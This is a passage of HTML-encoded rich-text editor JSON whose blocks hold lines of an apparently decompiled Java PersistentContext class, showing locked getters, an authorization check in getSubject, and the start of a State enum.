}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U6bh-1682254540345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RauZ-1682254540344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4iMg-1682254540347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rmKv-1682254540346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MxFA-1682254540349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r8ex-1682254540348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String getSubjectAsString() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDIO-1682254540351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sxGV-1682254540350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DJV-1682254540353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Me6v-1682254540352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BzHk-1682254540355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rrTh-1682254540354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bbka-1682254540357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qbi5-1682254540356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._subject.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RVRV-1682254540359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;un6b-1682254540358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PsUc-1682254540361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R2Vr-1682254540360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0FJf-1682254540363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4f1y-1682254540362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nKv4-1682254540365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2aGQ-1682254540364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zQer-1682254540367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uRP4-1682254540366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RVqb-1682254540369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VDu1-1682254540368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6dsf-1682254540371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B0Aq-1682254540370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sGTr-1682254540373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EovK-1682254540372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    AuthenticatedSubject getSubject(AuthenticatedSubject var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pjuv-1682254540375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vyRk-1682254540374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (!SecurityServiceManager.isKernelIdentity(var1)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O5ix-1682254540377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;shSm-1682254540376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new SecurityException(\&#34;Unauthorized access to PersistentContext.getSubject()\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0BqI-1682254540379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ClmL-1682254540378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fzU1-1682254540381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rgTn-1682254540380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            AuthenticatedSubject var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yzU8-1682254540383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o8ml-1682254540382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YcIK-1682254540385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Idzh-1682254540384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bL8U-1682254540387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TRPr-1682254540386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2 = this._subject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p2in-1682254540389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qw3v-1682254540388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZerK-1682254540391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sBXS-1682254540390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TvNV-1682254540393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;chhK-1682254540392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eji9-1682254540395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wlUn-1682254540394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K4s9-1682254540397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ePqM-1682254540396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NK7i-1682254540399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9V77-1682254540398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tRVJ-1682254540401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4VgK-1682254540400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jxZs-1682254540403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hJN6-1682254540402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zrx1-1682254540405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBjA-1682254540404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String getMessageId() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yNFN-1682254540407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ePyj-1682254540406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LGje-1682254540409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Gf7-1682254540408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BVTj-1682254540411&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zTtV-1682254540410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmG4-1682254540413&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JB2m-1682254540412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = (String)this.getObjectId();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qnhC-1682254540415&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;naha-1682254540414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p16F-1682254540417&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5bB-1682254540416&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nZyC-1682254540419&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tVcw-1682254540418&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WDsu-1682254540421&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PfwK-1682254540420&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t9ez-1682254540423&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xe6q-1682254540422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6H6E-1682254540425&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rOq8-1682254540424&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AFW0-1682254540427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SP9I-1682254540426&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9w6X-1682254540429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrDr-1682254540428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public boolean hasExplicitExpiration() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pJz-1682254540431&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8id9-1682254540430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9mXk-1682254540433&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vnaq-1682254540432&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQ6H-1682254540435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;thwu-1682254540434&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        boolean var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i2az-1682254540437&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IkCN-1682254540436&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Eqsw-1682254540439&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ckRZ-1682254540438&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._state == PersistentContext.State.IN_USE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gPWV-1682254540442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhyG-1682254540440&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tNmg-1682254540444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zsUF-1682254540443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RWMY-1682254540446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YkOi-1682254540445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mpb1-1682254540448&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t3Y5-1682254540447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PDLT-1682254540450&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bo2N-1682254540449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;40tB-1682254540452&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wvzk-1682254540451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynbs-1682254540454&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YvVA-1682254540453&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y26F-1682254540456&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SSPW-1682254540455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public boolean isExpired() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4aDQ-1682254540458&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R4Va-1682254540457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hkxY-1682254540460&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TLhN-1682254540459&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Rgw-1682254540462&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wyh5-1682254540461&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        boolean var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n4qW-1682254540464&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fhNb-1682254540463&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NXrq-1682254540466&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2ksa-1682254540465&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._state != PersistentContext.State.IN_USE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f7BZ-1682254540468&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3gNU-1682254540467&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c2fu-1682254540470&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Gpv-1682254540469&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;82r7-1682254540472&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G1JP-1682254540471&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fBz8-1682254540474&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;95zW-1682254540473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SE6r-1682254540476&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L71Q-1682254540475&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;THKu-1682254540478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f7jl-1682254540477&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qopn-1682254540480&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q93b-1682254540479&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9uQG-1682254540482&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;axHC-1682254540481&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static enum State {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SMON-1682254540484&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zQq-1682254540483&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UNUSED,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hOnH-1682254540486&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7fsj-1682254540485&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        IN_USE,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzRT-1682254540488&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POwy-1682254540487&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        